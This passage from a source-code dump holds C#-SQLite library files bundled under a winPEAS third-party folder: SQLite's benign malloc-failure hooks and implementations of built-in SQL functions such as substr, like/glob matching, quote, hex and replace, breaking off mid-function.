0 ) { pParse.iRangeReg += nReg; pParse.nRangeReg -= nReg; } else { i = pParse.nMem + 1; pParse.nMem += nReg; } return i; } static void sqlite3ReleaseTempRange( Parse pParse, int iReg, int nReg ) { if ( nReg > pParse.nRangeReg ) { pParse.nRangeReg = nReg; pParse.iRangeReg = iReg; } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/fault_c.cs ================================================ namespace winPEAS._3rdParty.SQLite.src { public partial class CSSQLite { /* ** 2008 Jan 22 ** ** The author disclaims copyright to this source code. In place of ** a legal notice, here is a blessing: ** ** May you do good and not evil. ** May you find forgiveness for yourself and forgive others. ** May you share freely, never taking more than you give. ** ************************************************************************* ** ** $Id: fault.c,v 1.11 2008/09/02 00:52:52 drh Exp $ ** ************************************************************************* ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart ** C#-SQLite is an independent reimplementation of the SQLite software library ** ** $Header$ ************************************************************************* */ /* ** This file contains code to support the concept of "benign" ** malloc failures (when the xMalloc() or xRealloc() method of the ** sqlite3_mem_methods structure fails to allocate a block of memory ** and returns 0). ** ** Most malloc failures are non-benign. After they occur, SQLite ** abandons the current operation and returns an error code (usually ** SQLITE_NOMEM) to the user. However, sometimes a fault is not necessarily ** fatal. For example, if a malloc fails while resizing a hash table, this ** is completely recoverable simply by not carrying out the resize. The ** hash table will continue to function normally. So a malloc failure ** during a hash table resize is a benign fault. */ //#include "sqliteInt.h" #if !SQLITE_OMIT_BUILTIN_TEST /* ** Global variables. */ //typedef struct BenignMallocHooks BenignMallocHooks; public struct BenignMallocHooks// { public void_function xBenignBegin;//void (*xBenignBegin)(void); public void_function xBenignEnd; //void (*xBenignEnd)(void); public BenignMallocHooks( void_function xBenignBegin, void_function xBenignEnd ) { this.xBenignBegin = xBenignBegin; this.xBenignEnd = xBenignEnd; } } static BenignMallocHooks sqlite3Hooks = new BenignMallocHooks( null, null ); /* The "wsdHooks" macro will resolve to the appropriate BenignMallocHooks ** structure. If writable static data is unsupported on the target, ** we have to locate the state vector at run-time. In the more common ** case where writable static data is supported, wsdHooks can refer directly ** to the "sqlite3Hooks" state vector declared above. */ #if SQLITE_OMIT_WSD //# define wsdHooksInit \ BenignMallocHooks *x = &GLOBAL(BenignMallocHooks,sqlite3Hooks) //# define wsdHooks x[0] #else //# define wsdHooksInit static void wsdHooksInit() { } //# define wsdHooks sqlite3Hooks static BenignMallocHooks wsdHooks = sqlite3Hooks; #endif /* ** Register hooks to call when sqlite3BeginBenignMalloc() and ** sqlite3EndBenignMalloc() are called, respectively. */ static void sqlite3BenignMallocHooks( void_function xBenignBegin, //void (*xBenignBegin)(void), void_function xBenignEnd //void (*xBenignEnd)(void) ) { wsdHooksInit(); wsdHooks.xBenignBegin = xBenignBegin; wsdHooks.xBenignEnd = xBenignEnd; } /* ** This (sqlite3EndBenignMalloc()) is called by SQLite code to indicate that ** subsequent malloc failures are benign. A call to sqlite3EndBenignMalloc() ** indicates that subsequent malloc failures are non-benign. */ static void sqlite3BeginBenignMalloc() { wsdHooksInit(); if ( wsdHooks.xBenignBegin != null ) { wsdHooks.xBenignBegin(); } } static void sqlite3EndBenignMalloc() { wsdHooksInit(); if ( wsdHooks.xBenignEnd != null ) { wsdHooks.xBenignEnd(); } } #endif //* SQLITE_OMIT_BUILTIN_TEST */ } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/func_c.cs ================================================ using System; using System.Diagnostics; using System.Text; using sqlite3_int64 = System.Int64; using i64 = System.Int64; using u8 = System.Byte; namespace winPEAS._3rdParty.SQLite.src { using sqlite3_value = CSSQLite.Mem; using sqlite_int64 = System.Int64; public partial class CSSQLite { /* ** 2002 February 23 ** ** The author disclaims copyright to this source code. In place of ** a legal notice, here is a blessing: ** ** May you do good and not evil. ** May you find forgiveness for yourself and forgive others. ** May you share freely, never taking more than you give. ** ************************************************************************* ** This file contains the C functions that implement various SQL ** functions of SQLite. ** ** There is only one exported symbol in this file - the function ** sqliteRegisterBuildinFunctions() found at the bottom of the file. ** All other code has file scope. ** ** $Id: func.c,v 1.239 2009/06/19 16:44:41 drh Exp $ ** ************************************************************************* ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart ** C#-SQLite is an independent reimplementation of the SQLite software library ** ** $Header$ ************************************************************************* */ //#include "sqliteInt.h" //#include //#include //#include "vdbeInt.h" /* ** Return the collating function associated with a function. */ static CollSeq sqlite3GetFuncCollSeq( sqlite3_context context ) { return context.pColl; } /* ** Implementation of the non-aggregate min() and max() functions */ static void minmaxFunc( sqlite3_context context, int argc, sqlite3_value[] argv ) { int i; int mask; /* 0 for min() or 0xffffffff for max() */ int iBest; CollSeq pColl; Debug.Assert( argc > 1 ); mask = (int)sqlite3_user_data( context ) == 0 ? 0 : -1; pColl = sqlite3GetFuncCollSeq( context ); Debug.Assert( pColl != null ); Debug.Assert( mask == -1 || mask == 0 ); testcase( mask == 0 ); iBest = 0; if ( sqlite3_value_type( argv[0] ) == SQLITE_NULL ) return; for ( i = 1 ; i < argc ; i++ ) { if ( sqlite3_value_type( argv[i] ) == SQLITE_NULL ) return; if ( ( sqlite3MemCompare( argv[iBest], argv[i], pColl ) ^ mask ) >= 0 ) { iBest = i; } } sqlite3_result_value( context, argv[iBest] ); } /* ** Return the type of the argument. */ static void typeofFunc( sqlite3_context context, int NotUsed, sqlite3_value[] argv ) { string z = ""; UNUSED_PARAMETER( NotUsed ); switch ( sqlite3_value_type( argv[0] ) ) { case SQLITE_INTEGER: z = "integer"; break; case SQLITE_TEXT: z = "text"; break; case SQLITE_FLOAT: z = "real"; break; case SQLITE_BLOB: z = "blob"; break; default: z = "null"; break; } sqlite3_result_text( context, z, -1, SQLITE_STATIC ); } /* ** Implementation of the length() function */ static void lengthFunc( sqlite3_context context, int argc, sqlite3_value[] argv ) { int len; Debug.Assert( argc == 1 ); UNUSED_PARAMETER( argc ); switch ( sqlite3_value_type( argv[0] ) ) { case SQLITE_BLOB: case SQLITE_INTEGER: case SQLITE_FLOAT: { sqlite3_result_int( context, sqlite3_value_bytes( argv[0] ) ); break; } case SQLITE_TEXT: { byte[] z = sqlite3_value_blob( argv[0] ); if ( z == null ) return; len = 0; int iz = 0; while ( iz < z.Length && z[iz] != '\0' ) { len++; SQLITE_SKIP_UTF8( z, ref iz ); } sqlite3_result_int( context, len ); break; } default: { sqlite3_result_null( context ); break; } } } /* ** Implementation of the abs() function */ static void absFunc( sqlite3_context context, int argc, sqlite3_value[] argv ) { Debug.Assert( argc == 1 ); UNUSED_PARAMETER( argc ); switch ( sqlite3_value_type( argv[0] ) ) { case SQLITE_INTEGER: { i64 iVal = sqlite3_value_int64( argv[0] ); if ( iVal < 0 ) { if ( ( iVal << 1 ) == 0 ) { sqlite3_result_error( context, "integer overflow", -1 ); return; } iVal = -iVal; } sqlite3_result_int64( context, iVal ); break; } case SQLITE_NULL: { sqlite3_result_null( context ); break; } default: { double rVal = sqlite3_value_double( argv[0] ); if ( rVal < 0 ) rVal = -rVal; sqlite3_result_double( context, rVal ); break; } } } /* ** Implementation of the substr() function. ** ** substr(x,p1,p2) returns p2 characters of x[] beginning with p1. ** p1 is 1-indexed. So substr(x,1,1) returns the first character ** of x. If x is text, then we actually count UTF-8 characters. ** If x is a blob, then we count bytes. ** ** If p1 is negative, then we begin abs(p1) from the end of x[]. */ static void substrFunc( sqlite3_context context, int argc, sqlite3_value[] argv ) { string z = ""; byte[] zBLOB = null; string z2; int len; int p0type; int p1, p2; int negP2 = 0; Debug.Assert( argc == 3 || argc == 2 ); if ( sqlite3_value_type( argv[1] ) == SQLITE_NULL || ( argc == 3 && sqlite3_value_type( argv[2] ) == SQLITE_NULL ) ) { return; } p0type = sqlite3_value_type( argv[0] ); if ( p0type == SQLITE_BLOB ) { len = sqlite3_value_bytes( argv[0] ); zBLOB = argv[0].zBLOB; if ( zBLOB == null ) return; Debug.Assert( len == zBLOB.Length ); } else { z = sqlite3_value_text( argv[0] ); if ( z == null ) return; len = z.Length; //len = 0; //for ( z2 = z ; z2 != "" ; len++ ) //{ // SQLITE_SKIP_UTF8( ref z2 ); //} } p1 = sqlite3_value_int( argv[1] ); if ( argc == 3 ) { p2 = sqlite3_value_int( argv[2] ); if ( p2 < 0 ) { p2 = -p2; negP2 = 1; } } else { p2 = ( sqlite3_context_db_handle( context ) ).aLimit[SQLITE_LIMIT_LENGTH]; } if ( p1 < 0 ) { p1 += len; if ( p1 < 0 ) { p2 += p1; if ( p2 < 0 ) p2 = 0; p1 = 0; } } else if ( p1 > 0 ) { p1--; } else if ( p2 > 0 ) { p2--; } if ( negP2 != 0 ) { p1 -= p2; if ( p1 < 0 ) { p2 += p1; p1 = 0; } } Debug.Assert( p1 >= 0 && p2 >= 0 ); if ( p1 + p2 > len ) { p2 = len - p1; if ( p2 < 0 ) p2 = 0; } if ( p0type != SQLITE_BLOB ) { //while ( z != "" && p1 != 0 ) //{ // SQLITE_SKIP_UTF8( ref z ); // p1--; //} //for ( z2 = z ; z2 != "" && p2 != 0 ; p2-- ) //{ // SQLITE_SKIP_UTF8( ref z2 ); //} sqlite3_result_text( context, z.Length == 0 || p1 > z.Length ? "" : z.Substring( p1, p2 ), (int)p2, SQLITE_TRANSIENT ); } else { StringBuilder sb = new StringBuilder( zBLOB.Length ); if ( zBLOB.Length == 0 || p1 > zBLOB.Length ) sb.Length = 0; else { for ( int i = p1 ; i < p1 + p2 ; i++ ) { sb.Append( (char)zBLOB[i] ); } } sqlite3_result_blob( context, sb.ToString(), (int)p2, SQLITE_TRANSIENT ); } } /* ** Implementation of the round() function */ #if !SQLITE_OMIT_FLOATING_POINT static void roundFunc( sqlite3_context context, int argc, sqlite3_value[] argv ) { int n = 0; double r; string zBuf = ""; Debug.Assert( argc == 1 || argc == 2 ); if ( argc == 2 ) { if ( SQLITE_NULL == sqlite3_value_type( argv[1] ) ) return; n = sqlite3_value_int( argv[1] ); if ( n > 30 ) n = 30; if ( n < 0 ) n = 0; } if ( sqlite3_value_type( argv[0] ) == SQLITE_NULL ) return; r = sqlite3_value_double( argv[0] ); zBuf = sqlite3_mprintf( "%.*f", n, r ); if ( zBuf == null ) { sqlite3_result_error_nomem( context ); } else { sqlite3AtoF( zBuf, ref r ); //sqlite3_free( ref zBuf ); sqlite3_result_double( context, r ); } } #endif /* ** Allocate nByte bytes of space using sqlite3_malloc(). If the ** allocation fails, call sqlite3_result_error_nomem() to notify ** the database handle that malloc() has failed and return NULL. ** If nByte is larger than the maximum string or blob length, then ** raise an SQLITE_TOOBIG exception and return NULL. */ //static void* contextMalloc( sqlite3_context* context, i64 nByte ) //{ // char* z; // sqlite3* db = sqlite3_context_db_handle( context ); // assert( nByte > 0 ); // testcase( nByte == db->aLimit[SQLITE_LIMIT_LENGTH] ); // testcase( nByte == db->aLimit[SQLITE_LIMIT_LENGTH] + 1 ); // if ( nByte > db->aLimit[SQLITE_LIMIT_LENGTH] ) // { // sqlite3_result_error_toobig( context ); // z = 0; // } // else // { // z = sqlite3Malloc( (int)nByte ); // if ( !z ) // { // sqlite3_result_error_nomem( context ); // } // } // return z; //} /* ** Implementation of the upper() and lower() SQL functions. */ static void upperFunc( sqlite3_context context, int argc, sqlite3_value[] argv ) { string z1; string z2; int i, n; UNUSED_PARAMETER( argc ); z2 = sqlite3_value_text( argv[0] ); n = sqlite3_value_bytes( argv[0] ); /* Verify that the call to _bytes() does not invalidate the _text() pointer */ //Debug.Assert( z2 == sqlite3_value_text( argv[0] ) ); if ( z2 != null ) { //z1 = new byte[n];// contextMalloc(context, ((i64)n)+1); //if ( z1 !=null) //{ // memcpy( z1, z2, n + 1 ); //for ( i = 0 ; i< z1.Length ; i++ ) //{ //(char)sqlite3Toupper( z1[i] ); //} sqlite3_result_text(context, z2.Length == 0 ? "" : z2.Substring(0, n).ToUpper(), -1, null); //sqlite3_free ); // } } } static void lowerFunc( sqlite3_context context, int argc, sqlite3_value[] argv ) { string z1; string z2; int i, n; UNUSED_PARAMETER( argc ); z2 = sqlite3_value_text( argv[0] ); n = sqlite3_value_bytes( argv[0] ); /* Verify that the call to _bytes() does not invalidate the _text() pointer */ //Debug.Assert( z2 == sqlite3_value_text( argv[0] ) ); if ( z2 != null ) { //z1 = contextMalloc(context, ((i64)n)+1); //if ( z1 ) //{ // memcpy( z1, z2, n + 1 ); // for ( i = 0 ; z1[i] ; i++ ) // { // z1[i] = (char)sqlite3Tolower( z1[i] ); // } z1 = z2.Length == 0 ? "" : z2.Substring( 0, n ).ToLower(); sqlite3_result_text(context, z1, -1, null);//sqlite3_free ); //} } } /* ** Implementation of the IFNULL(), NVL(), and COALESCE() functions. ** All three do the same thing. They return the first non-NULL ** argument. */ static void ifnullFunc( sqlite3_context context, int argc, sqlite3_value[] argv ) { int i; for ( i = 0 ; i < argc ; i++ ) { if ( SQLITE_NULL != sqlite3_value_type( argv[i] ) ) { sqlite3_result_value( context, argv[i] ); break; } } } /* ** Implementation of random(). Return a random integer. */ static void randomFunc( sqlite3_context context, int NotUsed, sqlite3_value[] NotUsed2 ) { sqlite_int64 r = 0; UNUSED_PARAMETER2( NotUsed, NotUsed2 ); sqlite3_randomness( sizeof( sqlite_int64 ), ref r ); if ( r < 0 ) { /* We need to prevent a random number of 0x8000000000000000 ** (or -9223372036854775808) since when you do abs() of that ** number of you get the same value back again. To do this ** in a way that is testable, mask the sign bit off of negative ** values, resulting in a positive value. Then take the ** 2s complement of that positive value. The end result can ** therefore be no less than -9223372036854775807. */ r = -( r ^ ( ( (sqlite3_int64)1 ) << 63 ) ); } sqlite3_result_int64( context, r ); } /* ** Implementation of randomblob(N). Return a random blob ** that is N bytes long. */ static void randomBlob( sqlite3_context context, int argc, sqlite3_value[] argv ) { int n; char[] p; Debug.Assert( argc == 1 ); UNUSED_PARAMETER( argc ); n = sqlite3_value_int( argv[0] ); if ( n < 1 ) { n = 1; } p = new char[n]; //contextMalloc( context, n ); if ( p != null ) { i64 _p = 0; for ( int i = 0 ; i < n ; i++ ) { sqlite3_randomness( sizeof( u8 ), ref _p ); p[i] = (char)( _p & 0x7F ); } sqlite3_result_blob( context, new string( p ), n, null);//sqlite3_free ); } } /* ** Implementation of the last_insert_rowid() SQL function. The return ** value is the same as the sqlite3_last_insert_rowid() API function. */ static void last_insert_rowid( sqlite3_context context, int NotUsed, sqlite3_value[] NotUsed2 ) { sqlite3 db = sqlite3_context_db_handle( context ); UNUSED_PARAMETER2( NotUsed, NotUsed2 ); sqlite3_result_int64( context, sqlite3_last_insert_rowid( db ) ); } /* ** Implementation of the changes() SQL function. The return value is the ** same as the sqlite3_changes() API function. */ static void changes( sqlite3_context context, int NotUsed, sqlite3_value[] NotUsed2 ) { sqlite3 db = sqlite3_context_db_handle( context ); UNUSED_PARAMETER2( NotUsed, NotUsed2 ); sqlite3_result_int( context, sqlite3_changes( db ) ); } /* ** Implementation of the total_changes() SQL function. The return value is ** the same as the sqlite3_total_changes() API function. */ static void total_changes( sqlite3_context context, int NotUsed, sqlite3_value[] NotUsed2 ) { sqlite3 db = (sqlite3)sqlite3_context_db_handle( context ); UNUSED_PARAMETER2( NotUsed, NotUsed2 ); sqlite3_result_int( context, sqlite3_total_changes( db ) ); } /* ** A structure defining how to do GLOB-style comparisons. */ struct compareInfo { public char matchAll; public char matchOne; public char matchSet; public bool noCase; public compareInfo( char matchAll, char matchOne, char matchSet, bool noCase ) { this.matchAll = matchAll; this.matchOne = matchOne; this.matchSet = matchSet; this.noCase = noCase; } }; /* ** For LIKE and GLOB matching on EBCDIC machines, assume that every ** character is exactly one byte in size. Also, all characters are ** able to participate in upper-case-to-lower-case mappings in EBCDIC ** whereas only characters less than 0x80 do in ASCII. */ #if (SQLITE_EBCDIC) //# define sqlite3Utf8Read(A,C) (*(A++)) //# define GlogUpperToLower(A) A = sqlite3UpperToLower[A] #else //# define GlogUpperToLower(A) if( A<0x80 ){ A = sqlite3UpperToLower[A]; } #endif static compareInfo globInfo = new compareInfo( '*', '?', '[', false ); /* The correct SQL-92 behavior is for the LIKE operator to ignore ** case. Thus 'a' LIKE 'A' would be true. */ static compareInfo likeInfoNorm = new compareInfo( '%', '_', '\0', true ); /* If SQLITE_CASE_SENSITIVE_LIKE is defined, then the LIKE operator ** is case sensitive causing 'a' LIKE 'A' to be false */ static compareInfo likeInfoAlt = new compareInfo( '%', '_', '\0', false ); /* ** Compare two UTF-8 strings for equality where the first string can ** potentially be a "glob" expression. Return true (1) if they ** are the same and false (0) if they are different. ** ** Globbing rules: ** ** '*' Matches any sequence of zero or more characters. ** ** '?' Matches exactly one character. ** ** [...] Matches one character from the enclosed list of ** characters. ** ** [^...] Matches one character not in the enclosed list. ** ** With the [...] and [^...] matching, a ']' character can be included ** in the list by making it the first character after '[' or '^'. A ** range of characters can be specified using '-'. Example: ** "[a-z]" matches any single lower-case letter. To match a '-', make ** it the last character in the list. ** ** This routine is usually quick, but can be N**2 in the worst case. ** ** Hints: to match '*' or '?', put them in "[]". Like this: ** ** abc[*]xyz Matches "abc*xyz" only */ static bool patternCompare( string zPattern, /* The glob pattern */ string zString, /* The string to compare against the glob */ compareInfo pInfo, /* Information about how to do the compare */ int esc /* The escape character */ ) { int c, c2; int invert; int seen; int matchOne = (int)pInfo.matchOne; int matchAll = (int)pInfo.matchAll; int matchSet = (int)pInfo.matchSet; bool noCase = pInfo.noCase; bool prevEscape = false; /* True if the previous character was 'escape' */ string inPattern = zPattern; //Entered Pattern while ( ( c = sqlite3Utf8Read( zPattern, ref zPattern ) ) != 0 ) { if ( !prevEscape && c == matchAll ) { while ( ( c = sqlite3Utf8Read( zPattern, ref zPattern ) ) == matchAll || c == matchOne ) { if ( c == matchOne && sqlite3Utf8Read( zString, ref zString ) == 0 ) { return false; } } if ( c == 0 ) { return true; } else if ( c == esc ) { c = sqlite3Utf8Read( zPattern, ref zPattern ); if ( c == 0 ) { return false; } } else if ( c == matchSet ) { Debug.Assert( esc == 0 ); /* This is GLOB, not LIKE */ Debug.Assert( matchSet < 0x80 ); /* '[' is a single-byte character */ int len = 0; while ( len < zString.Length && patternCompare( inPattern.Substring( inPattern.Length - zPattern.Length - 1 ), zString.Substring( len ), pInfo, esc ) == false ) { SQLITE_SKIP_UTF8( zString, ref len ); } return len < zString.Length; } while ( ( c2 = sqlite3Utf8Read( zString, ref zString ) ) != 0 ) { if ( noCase ) { if ( c2 < 0x80 ) c2 = sqlite3UpperToLower[c2]; //GlogUpperToLower(c2); if ( c < 0x80 ) c = sqlite3UpperToLower[c]; //GlogUpperToLower(c); while ( c2 != 0 && c2 != c ) { c2 = sqlite3Utf8Read( zString, ref zString ); if ( c2 < 0x80 ) c2 = sqlite3UpperToLower[c2]; //GlogUpperToLower(c2); } } else { while ( c2 != 0 && c2 != c ) { c2 = sqlite3Utf8Read( zString, ref zString ); } } if ( c2 == 0 ) return false; if ( patternCompare( zPattern, zString, pInfo, esc ) ) return true; } return false; } else if ( !prevEscape && c == matchOne ) { if ( sqlite3Utf8Read( zString, ref zString ) == 0 ) { return false; } } else if ( c == matchSet ) { int prior_c = 0; Debug.Assert( esc == 0 ); /* This only occurs for GLOB, not LIKE */ seen = 0; invert = 0; c = sqlite3Utf8Read( zString, ref zString ); if ( c == 0 ) return false; c2 = sqlite3Utf8Read( zPattern, ref zPattern ); if ( c2 == '^' ) { invert = 1; c2 = sqlite3Utf8Read( zPattern, ref zPattern ); } if ( c2 == ']' ) { if ( c == ']' ) seen = 1; c2 = sqlite3Utf8Read( zPattern, ref zPattern ); } while ( c2 != 0 && c2 != ']' ) { if ( c2 == '-' && zPattern[0] != ']' && zPattern[0] != 0 && prior_c > 0 ) { c2 = sqlite3Utf8Read( zPattern, ref zPattern ); if ( c >= prior_c && c <= c2 ) seen = 1; prior_c = 0; } else { if ( c == c2 ) { seen = 1; } prior_c = c2; } c2 = sqlite3Utf8Read( zPattern, ref zPattern ); } if ( c2 == 0 || ( seen ^ invert ) == 0 ) { return false; } } else if ( esc == c && !prevEscape ) { prevEscape = true; } else { c2 = sqlite3Utf8Read( zString, ref zString ); if ( noCase ) { if ( c < 0x80 ) c = sqlite3UpperToLower[c]; //GlogUpperToLower(c); if ( c2 < 0x80 ) c2 = sqlite3UpperToLower[c2]; //GlogUpperToLower(c2); } if ( c != c2 ) { return false; } prevEscape = false; } } return zString.Length == 0; } /* ** Count the number of times that the LIKE operator (or GLOB which is ** just a variation of LIKE) gets called. This is used for testing ** only. */ #if SQLITE_TEST //static int sqlite3_like_count = 0; #endif /* ** Implementation of the like() SQL function. This function implements ** the build-in LIKE operator. The first argument to the function is the ** pattern and the second argument is the string. So, the SQL statements: ** ** A LIKE B ** ** is implemented as like(B,A). ** ** This same function (with a different compareInfo structure) computes ** the GLOB operator. */ static void likeFunc( sqlite3_context context, int argc, sqlite3_value[] argv ) { string zA, zB; int escape = 0; int nPat; sqlite3 db = sqlite3_context_db_handle( context ); zB = sqlite3_value_text( argv[0] ); zA = sqlite3_value_text( argv[1] ); /* Limit the length of the LIKE or GLOB pattern to avoid problems ** of deep recursion and N*N behavior in patternCompare(). */ nPat = sqlite3_value_bytes( argv[0] ); testcase( nPat == db.aLimit[SQLITE_LIMIT_LIKE_PATTERN_LENGTH] ); testcase( nPat == db.aLimit[SQLITE_LIMIT_LIKE_PATTERN_LENGTH] + 1 ); if ( nPat > db.aLimit[SQLITE_LIMIT_LIKE_PATTERN_LENGTH] ) { sqlite3_result_error( context, "LIKE or GLOB pattern too complex", -1 ); return; } //Debug.Assert( zB == sqlite3_value_text( argv[0] ) ); /* Encoding did not change */ if ( argc == 3 ) { /* The escape character string must consist of a single UTF-8 character. ** Otherwise, return an error. */ string zEsc = sqlite3_value_text( argv[2] ); if ( zEsc == null ) return; if ( sqlite3Utf8CharLen( zEsc, -1 ) != 1 ) { sqlite3_result_error( context, "ESCAPE expression must be a single character", -1 ); return; } escape = sqlite3Utf8Read( zEsc, ref zEsc ); } if ( zA != null && zB != null ) { compareInfo pInfo = (compareInfo)sqlite3_user_data( context ); #if SQLITE_TEST sqlite3_like_count.iValue++; #endif sqlite3_result_int( context, patternCompare( zB, zA, pInfo, escape ) ? 1 : 0 ); } } /* ** Implementation of the NULLIF(x,y) function. The result is the first ** argument if the arguments are different. The result is NULL if the ** arguments are equal to each other. */ static void nullifFunc( sqlite3_context context, int NotUsed, sqlite3_value[] argv ) { CollSeq pColl = sqlite3GetFuncCollSeq( context ); UNUSED_PARAMETER( NotUsed ); if ( sqlite3MemCompare( argv[0], argv[1], pColl ) != 0 ) { sqlite3_result_value( context, argv[0] ); } } /* ** Implementation of the VERSION(*) function. The result is the version ** of the SQLite library that is running. */ static void versionFunc( sqlite3_context context, int NotUsed, sqlite3_value[] NotUsed2 ) { UNUSED_PARAMETER2( NotUsed, NotUsed2 ); sqlite3_result_text( context, sqlite3_version, -1, SQLITE_STATIC ); } /* Array for converting from half-bytes (nybbles) into ASCII hex ** digits. */ static char[] hexdigits = new char[] { '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F' }; /* ** EXPERIMENTAL - This is not an official function. The interface may ** change. This function may disappear. Do not write code that depends ** on this function. ** ** Implementation of the QUOTE() function. This function takes a single ** argument. If the argument is numeric, the return value is the same as ** the argument. If the argument is NULL, the return value is the string ** "NULL". Otherwise, the argument is enclosed in single quotes with ** single-quote escapes. */ static void quoteFunc( sqlite3_context context, int argc, sqlite3_value[] argv ) { Debug.Assert( argc == 1 ); UNUSED_PARAMETER( argc ); switch ( sqlite3_value_type( argv[0] ) ) { case SQLITE_INTEGER: case SQLITE_FLOAT: { sqlite3_result_value( context, argv[0] ); break; } case SQLITE_BLOB: { StringBuilder zText; byte[] zBlob = sqlite3_value_blob( argv[0] ); int nBlob = sqlite3_value_bytes( argv[0] ); Debug.Assert( zBlob.Length == sqlite3_value_blob( argv[0] ).Length ); /* No encoding change */ zText = new StringBuilder( 2 * nBlob + 4 );//(char*)contextMalloc(context, (2*(i64)nBlob)+4); zText.Append( "X'" ); if ( zText != null ) { int i; for ( i = 0 ; i < nBlob ; i++ ) { zText.Append( hexdigits[( zBlob[i] >> 4 ) & 0x0F] ); zText.Append( hexdigits[( zBlob[i] ) & 0x0F] ); } zText.Append( "'" ); //zText[( nBlob * 2 ) + 2] = '\''; //zText[( nBlob * 2 ) + 3] = '\0'; //zText[0] = 'X'; //zText[1] = '\''; sqlite3_result_text( context, zText.ToString(), -1, SQLITE_TRANSIENT ); //sqlite3_free( ref zText ); } break; } case SQLITE_TEXT: { int i, j; int n; string zArg = sqlite3_value_text( argv[0] ); StringBuilder z; if ( zArg == null || zArg.Length == 0 ) return; for ( i = 0, n = 0 ; i < zArg.Length ; i++ ) { if ( zArg[i] == '\'' ) n++; } z = new StringBuilder( i + n + 3 );// contextMalloc(context, ((i64)i)+((i64)n)+3); if ( z != null ) { z.Append( '\'' ); for ( i = 0, j = 1 ; i < zArg.Length && zArg[i] != 0 ; i++ ) { z.Append( (char)zArg[i] ); j++; if ( zArg[i] == '\'' ) { z.Append( '\'' ); j++; } } z.Append( '\'' ); j++; //z[j] = '\0'; ; sqlite3_result_text(context, z.ToString(), j, null);//sqlite3_free ); } break; } default: { Debug.Assert( sqlite3_value_type( argv[0] ) == SQLITE_NULL ); sqlite3_result_text( context, "NULL", 4, SQLITE_STATIC ); break; } } } /* ** The hex() function. Interpret the argument as a blob. Return ** a hexadecimal rendering as text. */ static void hexFunc( sqlite3_context context, int argc, sqlite3_value[] argv ) { int i, n; byte[] pBlob; //string zHex, z; Debug.Assert( argc == 1 ); UNUSED_PARAMETER( argc ); pBlob = sqlite3_value_blob( argv[0] ); n = sqlite3_value_bytes( argv[0] ); Debug.Assert( n == pBlob.Length ); /* No encoding change */ StringBuilder zHex = new StringBuilder( n * 2 + 1 ); // z = zHex = contextMalloc(context, ((i64)n)*2 + 1); if ( zHex != null ) { for ( i = 0 ; i < n ; i++ ) {//, pBlob++){ byte c = pBlob[i]; zHex.Append( hexdigits[( c >> 4 ) & 0xf] ); zHex.Append( hexdigits[c & 0xf] ); } sqlite3_result_text(context, zHex.ToString(), n * 2, null); //sqlite3_free ); } } /* ** The zeroblob(N) function returns a zero-filled blob of size N bytes. */ static void zeroblobFunc( sqlite3_context context, int argc, sqlite3_value[] argv ) { i64 n; sqlite3 db = sqlite3_context_db_handle( context ); Debug.Assert( argc == 1 ); UNUSED_PARAMETER( argc ); n = sqlite3_value_int64( argv[0] ); testcase( n == db.aLimit[SQLITE_LIMIT_LENGTH] ); testcase( n == db.aLimit[SQLITE_LIMIT_LENGTH] + 1 ); if ( n > db.aLimit[SQLITE_LIMIT_LENGTH] ) { sqlite3_result_error_toobig( context ); } else { sqlite3_result_zeroblob( context, (int)n ); } } /* ** The replace() function. Three arguments are all strings: call ** them A, B, and C. The result is also a string which is derived ** from A by replacing every occurance of B with C. The match ** must be exact. Collating sequences are not used. */ static void replaceFunc( sqlite3_context context, int argc, sqlite3_value[] argv ) { string zStr; /* The input string A */ string zPattern; /* The pattern string B */ string zRep; /* The replacement string C */ string zOut; /* The output */ int nStr; /* Size of zStr */ int nPattern; /* Size of zPattern */ int nRep; /* Size of zRep */ int nOut; /* Maximum size of zOut */ //int loopLimit; /* Last zStr[] that might match zPattern[] */ int i, j; /* Loop counters */ Debug.Assert( argc == 3 ); UNUSED_PARAMETER( argc ); zStr = sqlite3_value_text( argv[0] ); if ( zStr == null ) return; nStr = sqlite3_value_bytes( argv[0] ); Debug.Assert( zStr == sqlite3_value_text( argv[0] ) ); /* No encoding change */ zPattern = sqlite3_value_text( argv[1] ); if ( zPattern == null ) { Debug.Assert( sqlite3_value_type( argv[1] ) == SQLITE_NULL //|| sqlite3_context_db_handle( context ).mallocFailed != 0 ); return; } if ( zPattern == "" ) { Debug.Assert( sqlite3_value_type( argv[1] ) != SQLITE_NULL ); sqlite3_result_value( context, argv[0] ); return; } nPattern = sqlite3_value_bytes( argv[1] ); Debug.Assert( zPattern == sqlite3_value_text( argv[1] ) ); /* No encoding change */ zRep = sqlite3_value_text( argv[2] ); if ( zRep == null ) return; nRep = sqlite3_value_bytes( argv[2] ); Debug.Assert( zRep == sqlite3_value_text( argv[2] ) ); nOut = nStr + 1; Debug.Assert( nOut < SQLITE_MAX_LENGTH ); //zOut = contextMalloc(context, (i64)nOut); //if( zOut==0 ){ // return; //} //loopLimit = nStr - nPattern; //for(i=j=0; i<=loopLimit; i++){ // if( zStr[i]!=zPattern[0] || memcmp(&zStr[i], zPattern, nPattern) ){ // zOut[j++] = zStr[i]; // }else{ // u8 *zOld; // sqlite3 db = sqlite3_context_db_handle( context ); // nOut += nRep - nPattern; //testcase( nOut-1==db->aLimit[SQLITE_LIMIT_LENGTH] ); //testcase( nOut-2==db->aLimit[SQLITE_LIMIT_LENGTH] ); //if( nOut-1>db->aLimit[SQLITE_LIMIT_LENGTH] ){ // sqlite3_result_error_toobig(context); // //sqlite3DbFree(db,ref zOut); // return; // } // zOld = zOut; // zOut = sqlite3_realloc(zOut, (int)nOut); // if( zOut==0 ){ // sqlite3_result_error_nomem(context); // //sqlite3DbFree(db,ref zOld); // return; // } // memcpy(&zOut[j], zRep, nRep); // j += nRep; // i += nPattern-1; // } //} //Debug.Assert( j+nStr-i+1==nOut ); //memcpy(&zOut[j], zStr[i], nStr-i); //j += nStr - i; //Debug.Assert( j<=nOut ); //zOut[j] = 0; zOut = zStr.Replace( zPattern, zRep ); j = zOut.Length; sqlite3_result_text(context, zOut, j, null);//sqlite3_free ); } /* ** Implementation of the TRIM(), LTRIM(), and RTRIM() functions. ** The userdata is 0x1 for left trim, 0x2 for right trim, 0x3 for both. */ static void trimFunc( sqlite3_context context, int 